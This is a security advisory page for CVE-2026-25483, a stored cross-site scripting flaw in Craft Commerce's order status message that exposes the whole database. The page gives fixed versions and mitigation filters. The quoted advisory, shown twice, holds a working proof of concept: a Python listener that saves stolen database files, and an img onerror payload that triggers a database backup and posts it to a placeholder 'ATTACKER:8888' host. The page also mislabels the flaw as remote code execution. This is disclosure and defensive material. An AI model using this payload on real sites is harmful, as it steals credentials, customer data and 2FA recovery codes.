CVE-2026-25483: Craftcms/commerce Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-8478-rmjg-mjj5
CWE-79
Published
Advisory Summary

CVE-2026-25483 is a MODERATE remote code execution vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Craftcms/commerce libraries in the Packagist ecosystem. The issue involves craft commerce has stored xss via order status message with potential database exfiltration. Remediation is available by upgrading affected packages to version 5.5.2, 4.10.1.

CVE-2026-25483 at a Glance

CVE Identifier CVE-2026-25483
GHSA Identifier GHSA-8478-rmjg-mjj5
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Craftcms/commerce
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-25483

To remediate this vulnerability, upgrade all affected Craftcms/commerce dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

craftcms/commerce fixed: 5.5.2
Upgrade craftcms/commerce to 5.5.2
craftcms/commerce fixed: 4.10.1
Upgrade craftcms/commerce to 4.10.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for craftcms/commerce

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25483, inspect your project dependencies for Craftcms/commerce:

inspect dependencies for craftcms/commerce

Analyze the terminal output to locate any version of Craftcms/commerce in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.5.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Craftcms/commerce, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the `|md` filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes. Users are recommended to update to the patched 5.5.2 release to mitigate the issue. --- ## Proof of Concept ### Required Permissions - General - Access the control panel - Access Craft Commerce - Access to the database backup utility - Craft Commerce - Manage orders - Edit orders ### Attacker Server Setup To reproduce this attack, you need a server to receive the exfiltrated database. 1. Save the Python script as `receiver.py` on your attacker machine. 2. Run it: `python3 receiver.py` -- Change the port if needed. <details> <summary>Server Python Script</summary> ```python #!/usr/bin/env python3 """ Usage: python3 receiver.py """ from http.server import HTTPServer, BaseHTTPRequestHandler import cgi, os from datetime import datetime class Handler(BaseHTTPRequestHandler): def do_OPTIONS(self): self.send_response(200) self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'POST') self.end_headers() def do_POST(self): self.send_response(200) self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() content_type = self.headers.get('Content-Type', '') if 'multipart/form-data' in content_type: form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': content_type} ) if 'db' in form: filename = f"exfil_{datetime.now().strftime('%Y%m%d_%H%M%S')}.sql.zip" with open(filename, 'wb') as f: f.write(form['db'].file.read()) print(f"[+] DB saved: {filename} ({os.path.getsize(filename):,} bytes)") self.wfile.write(b"OK") if __name__ == '__main__': print("[*] Listening on http://0.0.0.0:8888") # change the port if needed HTTPServer(('0.0.0.0', 8888), Handler).serve_forever() ``` </details> ### Steps to Reproduce 1. Log in to the admin panel 2. Navigate to **Commerce** → **Orders** 3. Create a new order, enter a customer email, and mark the order as completed. The Order should be saved now; if not, save it. 4. Edit the order 5. Change the order status, a new text field (Status Message) will appear once the status is changed - Make sure you have multiple order statuses; if not, create one from (/admin/commerce/settings/orderstatuses) 6. In the **Status Message** field, enter the XSS payload below 7. Save/Update the order 8. Log out & log in again with an admin account 9. Visit the order page (/admin/commerce/orders/{Order_ID}) 10. XSS executes → Full database backup is triggered and exfiltrated 11. Go back to the attacker’s server and notice a zipped file containing the full exfiltrated database. ### XSS Payload (DB Exfiltration) **Note:** Replace `ATTACKER:8888` with your listener server. ```html <img src=x onerror="fetch('/index.php?p=admin/actions/utilities/db-backup-perform-action',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=utilities/db-backup-perform-action&CRAFT_CSRF_TOKEN='+Craft.csrfTokenValue+'&downloadBackup=1'}).then(r=>r.blob()).then(b=>{let f=new FormData;f.append('db',b,'backup.sql');fetch('http://ATTACKER:8888/',{method:'POST',body:f})})"> ``` --- ## Technical Details (Vulnerable Code) **File:** `vendor/craftcms/commerce/src/templates/orders/_history.twig` **Sink:** `{{ orderHistory.message | md }}` **Root Cause:** The `|md` Twig filter (Markdown) processes the message but does not sanitize HTML tags. --- ## Impact The exfiltrated database backup includes, but is not limited to: - Usernames, emails, and password hashes. - Customer PII: Names, addresses, and complete order history. - Transaction records, customer profiles, and coupon codes. - GraphQL tokens. - 2FA recovery codes. - Potentially, payment gateway secrets (if stored directly instead of using environment variables). **Note:** This XSS can also be leveraged for the same attacks described in previous reports, including privilege escalation and forced password changes. --- ## Mitigation Sanitize the message before rendering: ```twig {{ orderHistory.message | md | purify }} ``` Or escape HTML before Markdown processing: ```twig {{ orderHistory.message | e | md }} ``` Additionally, requiring an elevated session for the DB Backup utility would increase the difficulty of exploitation, although it would not prevent the attack, as it might occur while an active elevated session is in place. ## Resources: https://github.com/craftcms/commerce/commit/4665a47c0961aee311a42af2ff94a7c470f0ad8c

CVE-2026-25483 Affected Craftcms/commerce Versions

2 component(s)
Fixed Versions:
5.5.24.10.1
Product / Package Ecosystem Affected Versions Fixed Version
craftcms/commerce
Packagist
≥ 5.0.0
< 5.5.2
5.5.2
craftcms/commerce
Packagist
≥ 4.0.0-RC1
< 4.10.1
4.10.1

References

Frequently Asked Questions

What is CVE-2026-25483?
CVE-2026-25483 is a security vulnerability in Craftcms/commerce involving Craft Commerce has Stored XSS via Order Status Message with potential database exfiltration under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Craftcms/commerce versions are affected?
Affected versions include releases prior to 5.5.2, 4.10.1 across affected packages: craftcms/commerce.
What version fixes CVE-2026-25483?
Upgrading to 5.5.2, 4.10.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is craftcms/commerce affected?
Yes, craftcms/commerce is affected in releases prior to 5.5.2, 4.10.1. Upgrade your dependency to 5.5.2, 4.10.1 or later.
What CWE is associated with CVE-2026-25483?
CVE-2026-25483 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-25483?
Run the dependency tree command: 'inspect dependencies for craftcms/commerce'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8478-rmjg-mjj5",
  "modified" : "2026-02-03T21:39:59Z",
  "published" : "2026-02-02T22:43:00Z",
  "aliases" : [ "CVE-2026-25483" ],
  "summary" : "Craft Commerce has Stored XSS via Order Status Message with potential database exfiltration",
  "details" : "## Summary\n\nA stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the `|md` filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes.\n\nUsers are recommended to update to the patched 5.5.2 release to mitigate the issue.\n\n---\n## Proof of Concept\n\n### Required Permissions\n\n- General\n\t- Access the control panel\n\t- Access Craft Commerce\n\t- Access to the database backup utility\n- Craft Commerce\n\t- Manage orders\n\t- Edit orders\n\n### Attacker Server Setup\n\nTo reproduce this attack, you need a server to receive the exfiltrated database.\n1. Save the Python script as `receiver.py` on your attacker machine.\n2. Run it: `python3 receiver.py` -- Change the port if needed.\n\n<details>\n\n<summary>Server Python Script</summary>\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nUsage: python3 receiver.py\n\"\"\"\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport cgi, os\nfrom datetime import datetime\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_OPTIONS(self):\n        self.send_response(200)\n        self.send_header('Access-Control-Allow-Origin', '*')\n        self.send_header('Access-Control-Allow-Methods', 'POST')\n        self.end_headers()\n\n    def do_POST(self):\n        self.send_response(200)\n        self.send_header('Access-Control-Allow-Origin', '*')\n        self.end_headers()\n        \n        content_type = self.headers.get('Content-Type', '')\n        if 'multipart/form-data' in content_type:\n            form = cgi.FieldStorage(\n                fp=self.rfile, headers=self.headers,\n                environ={'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': content_type}\n            )\n            if 'db' in form:\n                filename = f\"exfil_{datetime.now().strftime('%Y%m%d_%H%M%S')}.sql.zip\"\n                with open(filename, 'wb') as f:\n                    f.write(form['db'].file.read())\n                print(f\"[+] DB saved: {filename} ({os.path.getsize(filename):,} bytes)\")\n        \n        self.wfile.write(b\"OK\")\n\nif __name__ == '__main__':\n    print(\"[*] Listening on http://0.0.0.0:8888\")   # change the port if needed\n    HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()\n```\n\n</details>\n\n### Steps to Reproduce\n\n1. Log in to the admin panel\n2. Navigate to **Commerce** → **Orders**\n3. Create a new order, enter a customer email, and mark the order as completed. The Order should be saved now; if not, save it.\n4. Edit the order\n5. Change the order status, a new text field (Status Message) will appear once the status is changed\n    - Make sure you have multiple order statuses; if not, create one from (/admin/commerce/settings/orderstatuses)\n6. In the **Status Message** field, enter the XSS payload below\n7. Save/Update the order\n8. Log out & log in again with an admin account\n9. Visit the order page (/admin/commerce/orders/{Order_ID})\n10. XSS executes → Full database backup is triggered and exfiltrated\n11. Go back to the attacker’s server and notice a zipped file containing the full exfiltrated database.\n\n### XSS Payload (DB Exfiltration)\n\n**Note:** Replace `ATTACKER:8888` with your listener server.\n```html\n<img src=x onerror=\"fetch('/index.php?p=admin/actions/utilities/db-backup-perform-action',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=utilities/db-backup-perform-action&CRAFT_CSRF_TOKEN='+Craft.csrfTokenValue+'&downloadBackup=1'}).then(r=>r.blob()).then(b=>{let f=new FormData;f.append('db',b,'backup.sql');fetch('http://ATTACKER:8888/',{method:'POST',body:f})})\">\n```\n\n---\n## Technical Details (Vulnerable Code)\n\n**File:** `vendor/craftcms/commerce/src/templates/orders/_history.twig`\n**Sink:** `{{ orderHistory.message | md }}`\n**Root Cause:** The `|md` Twig filter (Markdown) processes the message but does not sanitize HTML tags.\n\n---\n## Impact\n\nThe exfiltrated database backup includes, but is not limited to:\n- Usernames, emails, and password hashes.\n- Customer PII: Names, addresses, and complete order history.\n- Transaction records, customer profiles, and coupon codes.\n- GraphQL tokens.\n- 2FA recovery codes.\n- Potentially, payment gateway secrets (if stored directly instead of using environment variables).\n\n**Note:** This XSS can also be leveraged for the same attacks described in previous reports, including privilege escalation and forced password changes.\n\n---\n## Mitigation\n\nSanitize the message before rendering:\n```twig\n{{ orderHistory.message | md | purify }}\n```\n\nOr escape HTML before Markdown processing:\n```twig\n{{ orderHistory.message | e | md }}\n```\n\nAdditionally, requiring an elevated session for the DB Backup utility would increase the difficulty of exploitation, although it would not prevent the attack, as it might occur while an active elevated session is in place.\n\n## Resources:\n\nhttps://github.com/craftcms/commerce/commit/4665a47c0961aee311a42af2ff94a7c470f0ad8c",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/commerce"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.5.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.5.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/commerce"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-RC1"
      }, {
        "fixed" : "4.10.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.10.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/security/advisories/GHSA-8478-rmjg-mjj5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25483"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/commit/4665a47c0961aee311a42af2ff94a7c470f0ad8c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/commerce"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/releases/tag/4.10.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/releases/tag/5.5.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-02T22:43:00Z",
    "nvd_published_at" : "2026-02-03T19:16:25Z"
  }
}